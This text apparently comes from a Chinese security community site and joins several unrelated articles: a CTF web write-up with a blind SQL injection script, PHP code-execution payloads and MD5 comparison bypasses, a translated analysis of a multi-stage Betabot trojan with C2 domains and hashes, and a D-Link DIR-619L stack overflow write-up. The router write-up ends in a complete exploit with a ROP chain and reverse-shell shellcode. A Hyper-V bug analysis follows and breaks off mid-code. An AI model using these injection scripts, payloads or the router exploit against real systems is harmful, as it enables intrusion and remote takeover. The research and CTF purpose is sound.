'oorr/**/ascii(substr((seselectlect/**/passwoorrd/**/from/**/`admin`/**/limit/**/0,1),%s,1))>1/**/--/**/+'
如果正确的话回显用户名正确，错误的话回显用户名错误，基于布尔的盲注。脚本。
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import sys
import requests
url="http://120.79.1.69:10005/index.php?check"
password=""
for i in range(1,30):
payload="'oorr/**/ascii(substr((seselectlect/**/passwoorrd/**/from/**/`admin`/**/limit/**/0,1),%s,1))>%s/**/--/**/+'"
min=10
max=150
while abs(max-min)>1:
mid=int((max+min)/2)
p = payload % (str(i),str(mid))
data={"username":p}
res=requests.post(url=url,data=data)
if res.content.find("goodboy")!=-1:
min=mid
else:
max=mid
password=password+chr(max)
print password
得到密码。
最终poc
账号：'''='
密码：ajahas&&*44askldajaj
接下来快速计算验证码，py脚本，
# -*- encoding:utf8 -*- import sys
import requests
import re
url="http://120.79.1.69:10005/index.php"
s=requests.Session()
r=s.get(url=url)
matchp=re.search(r'(.{1}\d+[+\-*]\d+[+\-*]\d+.{1}.{1}){4}.{1}\d+[+\-*]\d+[+\-*]\d+.{1}',r.text).group()#.{1}匹配前面任意一个字符，因为给的括号是中文括>号后面同理。
matchp=matchp.replace(u'（','(')
matchp=matchp.replace(u'）',')')
matchp=matchp.replace('X','*')
num=round(eval(matchp))
urls="http://120.79.1.69:10005/index.php?check"
data={"username":"'''='","code":num,"password":"ajahas&&*44askldajaj"}
res=s.post(url=urls,data=data)
print (res.text)
得到回显。
又进入另一个坑，下载zip包，zip包被加密了，
网页回显源码中给出了form的密码，打开form是道代码审计同样很简短。
Private Function getPassword(ByVal str As String) As String
Dim reString As String
Dim i As Integer
i = 1
While (i <= Len(str))
reString = reString & Mid(str, i, 1)
i = i + (i Mod 5)
Wend
getPassword = reString
End Function
Private Sub Command1_Click()
Dim Dictionary As String
Dictionary = "VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU="
Dim password As String
password = getPassword(Dictionary)
Dim psw As String
psw = Text1.Text
If (psw = password) Then
MsgBox "The password is correct!", vbOKOnly, "密码正确"
Text1.Text = "Password for next pass : " & getPassword(password)
Else
MsgBox "PasswordFail!", vbOKOnly, "密码错误"
End If
End Sub
写个python脚本解出flag.jpg的压缩密码。
# -*- encoding:utf8 -*-
def getPassword(str):
restr=''
i=1
while i <=(len(str)):
restr= restr+(str[i-1:i])
i=i+(i%5)
return restr
dict="VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU="
password=getPassword(dict)
password=getPassword(password)
print (password)
得到密码
VmH0wW3DZalBnmmSalV1SYSGRr1r3jVYcFrHWkUUlhljkFzCbXaEKyaVJymT1FlVTVskVWhGtonaGU2WWGhVXYol1WVI1F2odFuk
将flag.jpg以txt方式打开得到flag。
# web6
url地址：<http://120.79.1.69:10006>
一道代码审计题目，依然很精简。
<?php
error_reporting(0);
if(isset($_GET['action'])) {
$action = $_GET['action'];
}
if(isset($_GET['action'])){
$arg = $_GET['arg'];
}
if(preg_match('/^[a-z0-9_]*$/isD', $action)){
show_source(__FILE__);
} else {
$action($arg,'');
}
正则匹配
i 不区分大小写
/s匹配任何不可见字符，包括空格、制表符、换页符等等，等价于[fnrtv]
/D如果使用$限制结尾字符,则不允许结尾有换行;
精简的源码，考的代码执行，可以参考一下P牛 的create_function()代码注入，不过本题稍微有点点变化，本题其实只有一个点，
传入action参数，我们可控函数，寻找一个能够执行命令的函数就可以，但是需要这个函数有两个参数，eval就不可以，assert可以传入两个参数，可以直接getshell，
正则匹配绕过匹配开头，使用\绕过。
完整poc
[http://120.79.1.69:8886/web6?action=\assert&arg=system('dir](http://120.79.1.69:8886/web6?action=\\assert&arg=system\('dir)')
由于题目关闭了，本地复现，
通过命令查找，即可获得flag。
参考文章：<https://mochazz.github.io/2019/01/12/create_function%E5%87%BD%E6%95%B0%E5%A6%82%E4%BD%95%E5%AE%9E%E7%8E%B0RCE/>
后来题目环境变了， assert不能使用了，之前assert可以说是个bug，还是要来一遍正规做法。
题目url:<http://120.79.1.69:10006>
首先要绕过正则，数字字母下划线被过滤，但是需要调用函数，使用create_function创建函数，\create_function就是调用全局的create_function函数，正好绕过了正则，接下来就是拼接字符串。poc
http://120.79.1.69:10006?action=\create_function&arg=){}system('ls');//
拼入字符串后的结果。
\create_function(){}system('ls');//,'');
得到flag。
# web7
这道题目依然是代码审计，主要是考弱比较以及MD5等方面的绕过。
题目url:<http://120.79.1.69:8887/web7>
打开即可获得源码，这里我贴出源码。
<?php
highlight_file(__FILE__);
include('flag.php');
$str1 = @$_GET['str1'];
$str2 = @$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = (string)@$_POST['str5'];
$str6 = (string)@$_POST['str6'];
$str7 = (string)@$_POST['str7'];
if( $str1 == $str2 ){
die('str1 OR Sstr2 no no no');
}
if( md5($str1) != md5($str2) ){
die('step 1 fail');
}
if( $str3 == $str4 ){
die('str3 OR str4 no no no');
}
if ( md5($str3) !== md5($str4)){
die('step 2 fail');
}
if( $str5 == $str6 || $str5 == $str7 || $str6 == $str7 ){
die('str5 OR str6 OR str7 no no no');
}
if (md5($str5) !== md5($str6) || md5($str6) !== md5($str7) || md5($str5) !== md5($str7)){
die('step 3 fail');
}
if(!($_POST['a']) and !($_POST['b']))
{
echo "come on!";
die();
}
$a = $_POST['a'];
$b = $_POST['b'];
$m = $_GET['m'];
$n = $_GET['n'];
if (!(ctype_upper($a)) || !(is_numeric($b)) || (strlen($b) > 6))
{
echo "a OR b fail!";
die();
}
if ((strlen($m) > 4) || (strlen($n) > 4))
{
echo "m OR n fail";
die();
}
$str8 = hash('md5', $a, false);
$str9 = strtr(hash('md5', $b, false), $m, $n);
echo "<p>str8 : $str8</p>";
echo "<p>str9 : $str9</p>";
if (($str8 == $str9) && !($a === $b) && (strlen($b) === 6))
{
echo "You're great,give you flag:";
echo $flag;
}
还算比较常规比较简单的源码，主要是考几个php知识点。
1.首先需要传参数str1不能等于str2，但是需要md5一样，不清楚的百度php md5弱比较。也就是字符串QNKCDZO
和字符串s878926199a，这两个加密出来的md5是
MD5("QNKCDZO")=0e830400451993494058024219903391
MD5("s878926199a")=0e545993274517709034328855841020
在php中如果是0e开头的字符串进行==比较，会认为是科学记数法0e，0的几次方，所以结果自然是0，这样就达到了字符串比较不相等，但是MD5值相等的绕过方法，前提是0e后面跟的是数字，如果是0e1a223...，0e后面有个a字母则无法转化成0。
2.str3和str4和str1
str2差不多，唯一变化是这次用到了!==需要绕过，但是在这种严密的!==，0e这种不可以绕过了，他会一个一个字符的对比，而不是解析为0，这个时候需要用到数组类型不同来绕过，也就是str3[]=1,str4=0，因为这两种根本不是同一种类型的，所以自然无法比较返回false，进而绕过。
3.str5 str6
str7，首先第一个肯定不能三个相等，但是下面又用严格的判断必须md5相等，在php中===和!==这种几乎是没办法绕过的，所以只能让他们的md5真正相等，如果一开始就去绕可能就陷进去了，这个判断的难点在于找到三个真正相等的MD5值的原型。这里参考一篇文章。
https://xz.aliyun.com/t/3161#toc-5
基于全等的MD5碰撞绕过这一目录下的讲解，很详细，需要下载他所说的两个工具，然后按照他的命令
D:\fastcoll>fastcoll_v1.0.0.5.exe -o jlzj0 jlzj1 #-o参数代表随机生成两个相同MD5的文件
D:\fastcoll>fastcoll_v1.0.0.5.exe -p jlzj1 -o jlzj00 jlzj01 #-p参数代表根据jlzj1文件随机生成两个相同MD5的文件，注意：生成的MD5与jlzj1不同
D:\fastcoll>tail.exe -c 128 jlzj00 > a #-c 128代表将jlzj00的最后128位写入文件a，这128位正是jlzj1与jlzj00的MD5不同的原因
D:\fastcoll>tail.exe -c 128 jlzj01 > b #同理
D:\fastcoll>type jlzj0 a > jlzj10 #这里表示将jlzj0和a文件的内容合并写入jlzj10
D:\fastcoll>type jlzj0 b > jlzj11 #同理写入jlzj11
生成文件即可，生成的文件内容进行MD5加密就是相同的，但是需要url编码提交到burp里面发包,如果在浏览器里会自动解码，出现大大小小的各种问题。
编码参考：https://xz.aliyun.com/t/2232
最终将生成的三个url编码之后的分别复制给str5 str6 str7。
4.第四个点，首先post
a和b，然后进入第二个判断，a必须是大写字母，b必须是数字，(is_numeric函数也有一些漏洞)，b的长度不能大于6，这里我们把视角移到最后一个if判断
if (($str8 == $str9) && !($a === $b) && (strlen($b) === 6))
这里用===判断，b的长度必须为6，刚刚我们说了===很难绕过，所以b的长度就只能为6，其中a不能等于b，这个很容易做到，str8 == str9，
$str8 = hash('md5', $a, false);
$str9 = strtr(hash('md5', $b, false), $m, $n);
很显然又是需要0e来绕过使得md5后的a
b相等，这里a的值很简单，利用网上现有的MD5之后的原型QNKCDZO，并且都是大写，但是b想要找到六位的并且0e开头能够利用的仿佛并找不到，这里想了很久，不过还好有一个字符替换，
strtr(hash('md5', $b, false), $m, $n)
这里是将m替换为n，这样我们就可以利用替换，将一些可能构造的md5值构造成我们需要的，比如
0e123123aaa，我们可以让m=a，n=1，替换为0e123123111，这样就可以进行判断绕过了，这里还要提到上面提示了一个点用is_numeric函数的漏洞，他可以接受十六进制，0xFFFF他同样认为是数字，所以我们写个脚本找到0e开头的md5值，然后替换掉其中的字母，最终绕过。
for($i=1000;$i<9999;$i++)
{
$b="0x".$i;
#echo md5($b);
$c=md5($b);
if(preg_match('/^0e/',$c))
{
echo $b."=====>>";
echo $c;
echo "<br/>";
}
}
选择其中一个
0x6156=====>>0ec4899c94ada8d08a6ada8623c6ff01
刚好md5值有数字 cadf，四个字符刚好用长度最大为4的m n来替换，完整的poc，得到flag。 | 社区文章 |
# 拆解一个经多层打包的Betabot木马新变种
##### 译文声明
本文是翻译文章，文章来源：medium.com
原文地址：<https://medium.com/@woj_ciech/betabot-still-alive-with-multi-stage-packing-fbe8ef211d39>
译文仅供参考，具体内容表达以及含义原文为准。
安全研究员Wojciech在上周发表的一篇文章中指出，他在偶然间得到了一个Betabot木马的新变种样本，经过了多层的伪装和隐藏。作为初始向量的恶意Office文档试图利用一个17年前的漏洞。
Betabot可以说是一个多变的木马程序，从银行木马演变成密码窃取者，然后演变成一个僵尸网络，能够传播勒索软件和其他恶意程序。虽然在地下市场上你可能只需要花费大约120美元就可以购买到这款木马，但在2017年初也发现了一个[破解版本](https://www.securityweek.com/cybercriminals-use-cracked-builder-spawn-betabot-variants)。
## Word文档作为初始向量
正如通常发生的那样，文档（PDF、Word、Excel）会是攻击者的切入点，在这种情况下，CVE-2017-11882被用于交付下一阶段的有效载荷。由于这种利用，攻击者可以将OLE对象嵌入到特制的RTF文件中，这允许他在受害者系统上执行命令。在下面，你可以找到嵌入在恶意word文档中的对象。
在word文件中嵌入的对象
所有对象都试图伪装成合法的软件（英特尔）来获得用户的信任。
l Inteldriverupd1.sct允许攻击者利用Windows脚本组件创建新对象，用于在之后运行task.bat脚本。
inteldriverupd1.sct
l Task.bat检查临时目录中“block.txt”文件的存在，如果文件不存在，脚本会创建它。最后它会启动“2nd.bat”并删除自身。
task.bat
l
最后阶段是执行2nd.bat脚本。一开始它会启动主exe文件并杀死文字处理程序（winword.exe）进程。之后，它会从注册表中删除Resiliency目录（对于每个版本）以隐藏它自己的痕迹并阻止文档的恢复。由于MRU（最近使用）功能，下一行很有趣。这些键保留最后打开文档的路径。通过这种方式，攻击者能够知道文件的执行位置，并可以轻易地将decoy.doc复制到临时文件夹。最后两条命令删除其他存在痕迹。
2nd.bat
l 就如同它的命名一样，“Decoy.doc”被用作诱饵，这意味着该文件将在感染后显示给最终用户。
decoy.doc
整个文件权重为1,4 MB。
另外值得一提的是，在执行时，它连接到hxxp://goog[.]com/newbuild/t.php?stats=send&thread=0，稍后会详细介绍这一点。下面展示了一个截图：
在word文件中嵌入的地址
## 第一层
丢弃的文件（exe.exe）是用C＃编写的，并且使用DeepSea算法进行了混淆处理，但是De4dot做得很好，立即对文件进行去混淆处理。
用de4dot进行去混淆
在这个操作之后，我们可以清楚地看到类和函数的名称，这可以让我们了解它的运作方式。事实证明，这只是第一层的混淆。我们必须确定下一个有效载荷的位置，以及可能的混淆算法，然后将其转储为二进制。
左边是去混淆之前，右边是去混淆之后
## 第二层
函数负责解码，它是简单的xor和modulo操作。现在，我们可以轻松地转储下一个文件。
解码算法
一种方法是在“while”操作之后设置断点，并将其变量直接保存到磁盘。也可以将整个项目导入到Visual
Studio中，然后调用该函数，但Wojciech决定将此函数重写为python并解码。
“Byte3”和“Byte2”是字节数组的名称。
int0 = len（byte3） – 1
int1 = len（byte3）
array_size = [15] * int1
byte2 = bytearray（array_size）
while int0> = 0：
byte2 [int0] =（byte3 [int0％len（byte3）] ^ byte3 [int0]）
int0 = int0 - 1
file = open（“decoded.bin”，“w”）
file.write（byte2）
这是如何检索下一个文件的方法，另一种方法可以是调试代码并检查已加载的模块。新文件在执行之前被加载到内存中，因此可以将它从“modules”选项卡转储到DnSpy中。
未知的模块
另外有趣的是，在文件的资源中有许多被嵌入的图片。所有图片都包含有噪声像素，其中有一张图片是个例外，它看起来像布加勒斯特电影之夜的合法海报，名称为“Key0”。含有噪声像素的图片将在下一阶段中使用，但这张海报的目的仍然未知。
在资源中的嵌入的海报
## 第三层
下一个文件也是用.Net编写的，采用的一些技巧使得它更加难以阅读。例如，字符串是用硬编码的密钥加密的。不过，解密它并不困难，因为我们有一个源代码，你可以在代码中的每一个创建的字符串上调用此函数。
加密的字符串
一些有趣的字符串：
Notify
Software\Microsoft\Windows\CurrentVersion\Run
.exe
InstallUtil.exe
RegAsm.exe
vbc.exe
AppLaunch.exe
svchost.exe
-boot
/c select,
explorer.exe
.lnk
Save
shell32.dll,
conLocation
TargetPath
CreateShortcut
b070b0ef-fb2c-415b-9f41-b32551b5d91f
vmacthlp
vmtools
vboxservice
事实证明，大多数类和函数名称仍然不够易读，不便于分析。Wojciech表示，他没有找到任何自动去混淆这个层的方法，但经过一段时间，他得出了一些结论。
第三层的主要功能
文件所做的第一件事是解密另一个文件，并将其与其他与恶意软件配置相关的信息存储在字典中。它创建另一个文件的方式非常有创意，其工作原理如下：
l 从资源获取图片（来自前一阶段的含有噪声像素的图片），并将其作为“image”类型存储在数组中；
l 将每个图片转换成内存流；
l 解密它。；
l 将它添加到字典中。
配置字典
在执行过程中，它检查字典中的配置（在这个样本中没有打开任何附加功能），并调用相应的函数。例如，如果将值Options.CheckVM设置为false，恶意软件则不会调用负责检查其是否在虚拟环境中运行的功能。
其中一个功能检查进程（vmacthlp、vmtools、vboxservice），如果其中任意一个正在运行，它会自动终止。
在下面我们可以看到它是如何将自己复制到C:users[username]AppDataRoamingMicrosoftWindowsStart
MenuPrograms并在之后启动的。
## 第四层——Betabot
在从前面提到的数组中转储文件之后，我们就得到了Betabot变种。目前在野外很多不同版本的Betabot，作为原因之一，很可能是因为破解版本的出现。样本包含一些反调试和反虚拟环境技巧。
首先是检查PEB进程中的BeingDebugged标志。想要绕过它，我们必须将EBX值设置为与EAX中的值相同。关于这项技术的更多信息在[这里](https://www.aldeid.com/wiki/PEB-Process-Environment-Block/BeingDebugged)。
它在SYSTEMCurrentControlSet中检查以下键的存在：VboxGuest、VmTools和Vmware.inc。
检查过程
执行的其余部分与[此处](https://resources.infosecinstitute.com/beta-bot-analysis-part-1/)分析的样本相同。不过，Wojciech在从内存中打开恶意软件时遇到了一些麻烦。在整个文件被完全解压缩之前，Wojciech遇到了堆栈溢出错误，这也许是无法绕过的下一个反调试机制。
在这种情况下，Wojciech决定使用SysAnalyzer之类的自动工具，它可以检测和转储适当的内存部分以供进一步分析。它确实完成了自己的工作，但是header仍然被破坏或加密，因此无法分析文件，但是从字符串中可以推断出一些功能。
转储文件中的字符串
## 网络流量
如前所述，首先连接到的是hxxp://goog[.]com/newbuild/t.php?stats=send&thread=0，在重定向之后，它会分配随机值作为响应。
第一个请求和响应
重定向导致联署服务hxxp://sharesale[.]com，并带有一些跟踪值。
第二个请求和响应
最后，我们登陆到hxxp://shirtbattle[.]com。
Wojciech的猜测是，bot首先会注册自身用于跟踪目的，然后去shirtbattle从联署项目赚取一些额外的钱。
Wojciech还观察到，主要的C2服务器位于hxxp://onedriveservice[.]com上，它不是真正的微软域，它与[其他恶意活动相关联](https://www.malwareurl.com/listing.php?domain=onedriveservice.com)。
也许这项活动已经结束，CnC已经关闭。我们可以更改我们的DNS设置，以充当C＆C服务器。以下是对Betabot标准的要求、随机参数名称和RC4编码。更多关于提取RC4密钥以及如何获取配置的信息在[这里](https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/BetaBot.pdf?la=en)。
对Betabot的标准要求
网络流量的准备非常谨慎，一些合法的全球服务可能会因为域名的相似性而显得无辜，类似于goog[.]com和onedriveservice[.]com。
## 结论
有时即使是已知的样本也会因为各种打包、加密或编码方式而带来一些麻烦，这使得我们需要花更多时间来了解它的运作方式以及它可以做什么。
## IOCs
Purchase_order.doc 20FC1511A310ECE324E40381E49F49C2
Decoy.doc B5F34D2752EC82ACA1DD544DA7990448
2nd.bat 76C94647524188152C6488600CC438B0
Exe.exe 13AE5AF773E63F65D5B0748676FCFF75
Mndgrhsz.exe BFDD283E6135AC06284AC8A221990DA9
Multi.exe B01137B556E968582730F9FE4186DE08
Betabot.exe 005551A827C77BCECBA7B65F5B7A95AF
goog.com
onedriveservice.com
审核人：yiwang 编辑：边边 | 社区文章 |
## 漏洞原理
D-LINK的DIR-619L Rev.B 2.06B1版本之前和DIR-605L Rev.B
2.12B1版本之前的设备，在/bin/boa文件的formLanguage函数中存在缓冲区溢出漏洞，在调用sprintf函数时没有对参数的长度进行检查，导致远程攻击者可以通过访问<http://[ip]/goform/formLanguageChange并指定currTime参数实现远程代码执行。>
固件下载地址：ftp://ftp2.dlink.com/PRODUCTS/DIR-619L/REVB/
## 修复路由器运行环境
在qemu中直接运行bin/boa会因为路由器硬件模块缺失导致程序启动失败的情况，所以需要修复这些问题，用到方法大致两种，一种是通过劫持动态库，另一种是直接patch程序。
1.修复Initialize AP MIB failed
运行bin/boa
$ sudo chroot . /qemu-mips-static bin/boa
Initialize AP MIB failed!
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Segmentation fault
这里参考了《揭秘家用路由器0day漏洞挖掘技术》的3.1节，分析错误出现的原因，编写了动态库劫持apmib_init()函数，也按照书中继续劫持了apmib_get函数，书上讲解的很细致了。
最终生成apmib-ld.so这个新的库，在执行的时候通过LD_PRELOAD即可劫持apmib_init、apmib_get和fork函数。
2.修复无法连接到路由器
在做了第一步的修复之后，80端口开启了，但是每次连接到路由器，都会segment fault。
通过mips-linux-gdb调试，target remote localhost:1234连接到qemu，查看崩溃地址：
在getWizardInformation函数中的0x41b4d8发生了内存访问错误，原因是此时的v0=0，[v0+0x463]则是对非法地址的访问。向上回溯v0，v0=pWizMib[0]。pWizMib变量是一个extern的值，来自其他共享库。
0041b4cc 8c 42 00 00 lw v0,0x0(v0)=>pWizMib
……
0041b4d8 90 47 04 63 lbu a3,0x463(v0)
试图通过绕过所在分支来修复错误。在前一个分支中，v0==0时就会跳到当前位置，因此把bnez改成beqz，对应的二进制从0x14改成0x10即可。用010Editor，UltraEdit这种二进制编辑软件直接改就OK（用了ghidra导致文件其他地方也被修改了，心累……）
3.修复apmib.so中的segment fault
再运行boa时，已经能够正常连接上服务器。
按照漏洞原理访问<http://ip/goform/formLanguage，再次出现segment>
fault。gdb调试，定位到apmib.so中的一个跳转语句中，在apmib.so中的偏移是0x5254，和之前的思路一样，防止跳转到当前分支，修改0x51a8处的beqz为bnez，替换lib库下apmib.so。
## 漏洞分析
在formLanguageChange函数中，通过websGetVar获取config.i18n_language，nextPage，currTime等参数。websGetVar通过malloc、memcpy将获取到的参数返回给formLanguageChange。formLanguageChange接下来调用了sprintf危险函数向local_f8变量中读入参数内容，并在下一步websRedirect使用了local_f8作为参数。
void formLanguageChange(undefined4 uParm1)
{
int iVar1;
char *pcVar2;
undefined4 uVar3;
FILE *__stream;
char *__s1;
char local_f8 [200];
char acStack48 [24];
undefined4 local_18;
int local_14;
__s1 = (char *)websGetVar(uParm1,"config.i18n_language",&DAT_004ac874);
……
apmib_set(0x129,&local_18);
__s1 = (char *)websGetVar(uParm1,"nextPage",&DAT_004ac874);
if (*__s1 == 0) {
uVar3 = websGetVar(uParm1,"currTime",&DAT_004ac874);//获取currTime参数
__s1 = "/index.asp";
}
else {
……
}
sprintf(local_f8,"%s?t=%s",__s1,uVar3);//危险函数sprintf直接读入字符
LAB_00460b34:
websRedirect(uParm1,local_f8);
……
return;
}
websRedirect主要调用`send_r_moved_perm`，这个函数调用了两次危险函数sprintf，分别向acStack224(sp+0x19f8-0xe0)和acStack480(sp+0x19f8-0x1e0)中输入字符。
undefined4 websRedirect(int iParm1,char *pcParm2)
{
char *pcVar1;
*(undefined4 *)(iParm1 + 0x50) = 0;
pcVar1 = strstr(pcParm2,"/apply_setting.asp");
if (pcVar1 != (char *)0x0) {
apply_setting_redirect = apply_setting_redirect + 1;
}
send_r_moved_perm(iParm1,pcParm2);
return 0;
}
void send_r_moved_perm(int iParm1,char *pcParm2)
{
undefined4 uVar1;
char *pcVar2;
undefined auStack6624 [6144];
char acStack480 [256];
char acStack224 [200];
……
if (pcVar2 == (char *)0x0) {
if (*pcParm2 == '/') {
pcParm2 = pcParm2 + 1;
}
sprintf(acStack224,"http://%s/%s",*(undefined4 *)(iParm1 + 0x70),pcParm2);
pcParm2 = acStack224;
}
sprintf(acStack480,
"<html><head></head><body>\r\n\t\tThis document has moved to a new <ahref=\"%s\">location</a>.\r\n\t\tPlease update your documents to reflect the newlocation.\r\n\t\t</body></html>\r\n"
,pcParm2);
……s
return;
}
通过第二两个sprintf修改返回地址，构造ROP链，导致程序控制流被劫持。（也可以通过两个sprintf的配合来实现栈的迁移，漏洞作者是这么实现的）
## 漏洞利用
import requests
import sys
import struct
from pwn import *
#context.log_level='debug'
context.arch='mips'
context.endian='big'
ip='192.168.75.150'
def syscmd1(a):
p=remote(ip,80)
z=len(a)
print "[+]len:"+str(z)
payload=''
payload+='POST /goform/formLanguageChange HTTP/1.1\r\n'
payload+='Host: '+ip+'\r\n'
payload+='Connection: keep-alive\r\n'
payload+='Accept-Encoding: gzip, deflate\r\n'
payload+='Accept: */*\r\n'
payload+='User-Agent: python-requests/2.18.4\r\n'
payload+='Content-Length: '+str(z+9)+'\r\n'
payload+='Content-Type: application/x-www-form-urlencoded\r\n'
payload+='\r\n'
payload+='currTime='
payload+=a+'\r\n'
p.send(payload)
p.recvuntil('</html>')
#raw_input()
p.close()
#base address of libc.so.0
base1=0x2ab88000
###shellcode
sc=struct.pack(">I",0x24060101)
sc+=struct.pack(">I",0x04d0ffff)
sc+=struct.pack(">I",0x2806ffff)
sc+=struct.pack(">I",0x27bdffe0)
sc+=struct.pack(">I",0x27e41001)
sc+=struct.pack(">I",0x2484f023)
sc+=struct.pack(">I",0xafa4ffe8)
sc+=struct.pack(">I",0xafa0ffec)
sc+=struct.pack(">I",0x27a5ffe8)
sc+=struct.pack(">I",0x24020fab)
sc+=struct.pack(">I",0xafa00108)
sc+=struct.pack(">I",0x0101010c)
sc+="/bin//sh\x00"
shellcode =''
shellcode += asm(shellcraft.connect('192.168.75.149',5555))
shellcode += asm(shellcraft.dup2(5,0))
shellcode += asm(shellcraft.dup2(5,1))
shellcode += sc
s0=struct.pack(">I",base1+0x2C794)
s1=struct.pack(">I",base1+0x2C794)### rop2:move $t9,$s2;...;jr $t9
s2=struct.pack(">I",base1+0x24b70)### rop3:sleep(1)
s3=struct.pack(">I",base1+0x2bdac)### rop5:addiu $a0,$sp,0x18;...;lw $ra,0x30;jr $ra
s4=struct.pack(">I",base1+0x2bdac)
###rop
payload1='a'*0x167+s0+s1+s2+s3
payload1+=struct.pack(">I",base1+0x25714) ###rop1: li $a0,1;move $t9,$s1;jalr $t9;ori $a1,$s0,2
payload1+='b'*0x1c+s0+s1+s2+s3+s4
payload1+=struct.pack(">I",base1+0x5f98) ###rop4:lw $ra,0x1c($sp);...;jr $ra
payload1+='c'*0x1c
payload1+=s3
payload1+='d'*0x18
payload1+=struct.pack(">I",0x24910101) ###rop7 addiu $s1,$a0,257;addi $s1,$s1,-257;move $t9,$s1;jalr $t9
payload1+=struct.pack(">I",0x2231feff)
payload1+=struct.pack(">I",0x0220c821)
payload1+=struct.pack(">I",0x0320f809)
payload1+=struct.pack(">I",0x2231feff)
payload1+=struct.pack(">I",0x2231feff)
payload1+=struct.pack(">I",base1+0x2bda0) ###rop6:mov $t9,$a0;...;jalr $t9
payload1+='e'*0x20+shellcode
if __name__ == "__main__":
syscmd1(payload1)
利用效果：
## 参考链接
<https://github.com/WhooAmii/whooamii.github.io/blob/master/2018/DIR-619%20stack%20overflow.md> | 社区文章 |
# CVE-2020-0904：Hyper-V类型混淆任意地址解引用漏洞分析
|
##### 译文声明
本文是翻译文章，文章原作者 Daniel Fernandez Kuehr，文章来源：labs.bluefrostsecurity.de
原文地址：<https://labs.bluefrostsecurity.de/advisories/bfs-sa-2020-003/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 影响平台
Windows 10.0.18363.418
Hyper-V内核版本18362 x64
早期版本也受影响。
## 0x01 技术细节
Hyper-V的一些hypervisor组件中使用了一个哈希表的实现，通过在结构体的定义中嵌入一个`entry`字段，可以把对象链接起来，类似链表的`LIST_ENTRY`的用法。
entry的结构可定义如下：
struct entry
{
struct entry *next;
unsigned long key;
};
包含`entry`字段的哈希表对象的`key`对应的值被初始化为-1，这一项用作遍历表时的结束标志。如果攻击者搜索值-1，查找函数的一个漏洞将导致调用者认为搜索成功，且查找函数会返回这个末尾表项。调用者会认为这是表中的普通有效表项，接着去使用它。
哈希表对象的结构体中的部分字段如下：
* 桶的数量
* 元素的数量
* 指向桶（至多30个）的指针数组
* 末尾表项`entry`，其`key=-1`且`next=NULL`
* 指向表头的指针（初始化为末尾表项）
我们关心的字段是哈希表结构中内嵌的末尾表项和表头，从表头出发可以得到表中所有元素。表头初始化为指向末尾表项。
所有元素链接在一起，按key升序排列。桶用来索引表项，以便加速查找时间。
当插入元素或者查找key时，原始key进行如下变换：
key = reverse_bits64(key) | 1
key的最高位丢失了，导致可能出现key碰撞：`k' = k ^ (1 <<
63)`。如果原始key未进行明确比较的话，这可能导致安全问题。一些理论上的攻击情形包括：
* 用key`k`无权访问某个对象，但用key`k'`却可以通过检查而进行访问
* 可以用`k'`来删除`k`
* 预先插入对象`k'`从而使后续`k`的插入失败
目前尚未发现这些潜在的问题真正出现，但是使用这种实现时应当加以注意。
桶有自己的表元素和keys，以如下方式产生：
>>> def keys(bucket_count):
... return [list(range((1 << x) & ~1, (1 << (x+1)) & ~1))
... for x in range(0, bucket_count)]
例如有4个桶，那么产生的keys为：
>>> keys(4)
[[0, 1], [2, 3], [4, 5, 6, 7], [8, 9, 10, 11, 12, 13, 14, 15]]
这些keys也进行位反转，但不和1进行或操作，保证其在查找时不会和通常的元素keys匹配。
最后是遍历函数，在元素放入表中某部位（由桶索引）后调用遍历函数。此时必须遍历元素来寻找匹配的key。
bool __fastcall fun_traversal(struct entry *list_head, unsigned __int64 key,
volatile signed __int64 **pPrevious, volatile signed __int64 **pCurrent)
{
struct entry *head; // rbx
struct entry *previous; // r10
struct entry *current; // rax
struct entry *_next; // rcx
struct entry *next; // rcx
head = list_head;
LABEL_2:
previous = head;
for ( current = (head->next & 0xFFFFFFFFFFFFFFFEui64); ; current = next )
{
_next = current->next;
*pPrevious = previous;
*pCurrent = current;
if ( !(_next & 1) )
break;
